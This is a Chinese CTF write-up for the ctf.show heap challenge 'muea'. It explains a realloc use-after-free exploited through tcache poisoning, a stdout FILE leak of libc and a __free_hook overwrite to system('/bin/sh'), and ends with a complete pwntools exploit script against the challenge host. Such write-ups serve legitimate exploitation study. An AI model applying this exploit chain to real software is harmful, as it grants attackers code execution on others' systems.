
muea 中只有 add 和 delete

add 中使用的是 realloc
什么是 realloc 呢?
可以参考如下文章
https://squarepants0.github.io/2020/11/18/2019-realloc-magic-realloc-yu-tcache/#toc-heading-2
简单来说就说 mallco 和 free 的结合 plus 版
1 2 3 4 5 6 7 8 9 10 11
| void *realloc(void *ptr, size_t size)
|

delete 进行了 free 但是未置零 存在 uaf 漏洞

switch 还有一个特殊的分支函数,将 ptr 进行清空,可以让我们打第二次攻击
目前的思路还是打tcache,将 chunk free 到unsortedbin 中将其 fd 指针改为 _IO_2_1_stdout
并挂入 bins 链表中,重新申请出来讲 _flag 改为 0xfbed1800,泄露地址计算 libc 再打 free_hook
其实这题和 pwn162 比较相似,只是讲 mallco 换为了 realloc,两种用法上面的区别,总体打法思路是一样的

#0 用于后续修改 #4 的 fd 内容
#1 将其挂载到 fastbin 中
#2 隔绝 TOP chunk
这边 add(0,b””)的作用相当于将其进行了 free
for 循环将tcache 的 0xa0 填满,后续在进行add(0,b””) 将#3 free 到 unsortedbin

此时我们的 main_arena 在 fastbin 和unsortedbin 都存在

后续我们将先前 free 的 #0 chunk 重新申请回来,此时我们的 ptr 的 size 就为 0x20,后续我们有 add 一个 0x50 的 chunk,此时就用到了我们的 realloc 机制了,他会先判断 当上一次mallco返回的ptr值的size<现在需要申请的size,则会进行扩容 此时我们来看一下 chunk0 物理内存后跟着的是什么

0x30 后跟着的是 0xa0 被 free 的 chunk,按照realloc 机制则会向后扩容到 0x50 的字节但是!

该 chunk 就是 我们在unsortedbin 的 chunk,fd、bk 为 main_arena,但是我们可以往里面填入 0x50 字节的大小,足够覆盖到此处,那我们就可以将其改为 _IO_2_1_stdout 的地址

后四字节为 0xc680 ,注意这边本地地址是不变的,但是在远程时候第四位 c 会进行变动。最后写完 exp 可以尝试多打几次,1/16 的概率

chunk0 的数据,将上面全覆盖为 0x555555605288 的地址覆盖为0x81(为了打第二遍)、0x555555605290 低四位改为0xc680

成功将 _IO_2_1_stdout 挂入链表中,此时将_IO_2_1_stdout 申请出来,修改 data 段内容就是修改 _flag 的值,我们将 _flag 改为 0xfbad1800 泄露出_IO_2_1_stdout 上的地址内容,具体为什么修改为0xfbad1800 可以看 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

由于 witer_base 的值不确定性,具体输出的内容我们需要进行调试查看
gdb 调试后发现将该地址+0x40 就是__malloc_initialize_hook 的地址(虽然我也不知道这个是什么,反正能用来计算 libc)


接受后计算 libcbase 、sys、free_hook
此时我们就可以使用 switch 特殊分支的函数,清空 ptr,进行第二轮攻击

还是一样的操作步骤,只是将申请 chunk 的大小进行更改,以免挂载到之前的链表中,后续打 free_hook 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwn import * from ctypes import * from LibcSearcher import *
misaki=1 if misaki: context(log_level='debug',arch='amd64',os='linux') else: context(log_level='debug',arch='i386',os='linux') ming=0 if ming: p=remote('pwn.challenge.ctf.show',28222) else: p=process("./pwn")
s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda text :p.recvuntil(text) def m(): gdb.attach(p)
def cmd(x): rl(b'Choice:') sl(str(x)) def add(size,data): cmd(1) rl(b'Size?') sl(str(size)) rl(b'Content?') s(data) def delete(): cmd(2)
libc=ELF("./libc-2.27.so") offset = b"\x60\xc7" gadget = [0x45216,0x4526a,0xf02a4,0xf1147] e=ELF("./pwn")
add(0x20,b'aaaa') add(0,b'')
add(0x90,b'aaaa') add(0,b'')
add(0x10,b'aaaa') add(0,b'')
add(0x90,b'aaaa')
for i in range(7): delete()
add(0,b'')
add(0x20,b'aaaa') offset = b"\x60\xc7" payload=p64(0)*5+p64(0x81)+offset
add(0x50,payload) add(0,b'')
add(0x90,b'aaaa') add(0,b'')
payload=p64(0xfbed1800)+ p64(0)*3 + b'\x00'
add(0x90,payload)
libcbase = u64(rl(b"\x7f")[-6:].ljust(8,b"\x00"))+0x40-libc.symbols['__malloc_initialize_hook']
print(f'libcbase=',hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook'] system_addr = libcbase+libc.sym['system']
sla(b"Choice:",b"1433233")
add(0x30,b'aaaa') add(0,b'')
add(0xa0,b'aaaa') add(0,b'')
add(0x10,b'aaaa') add(0,b'')
add(0xa0,b'aaaa') for i in range(7): delete() add(0,b'') add(0x30,b"aaa") payload = p64(0)*7+p64(0x81)+p64(free_hook-8) add(0x80,payload) add(0,b"") add(0xa0,b"a") add(0,b"") add(0xa0,b"/bin/sh;"+p64(system_addr)) delete() p.interactive()
|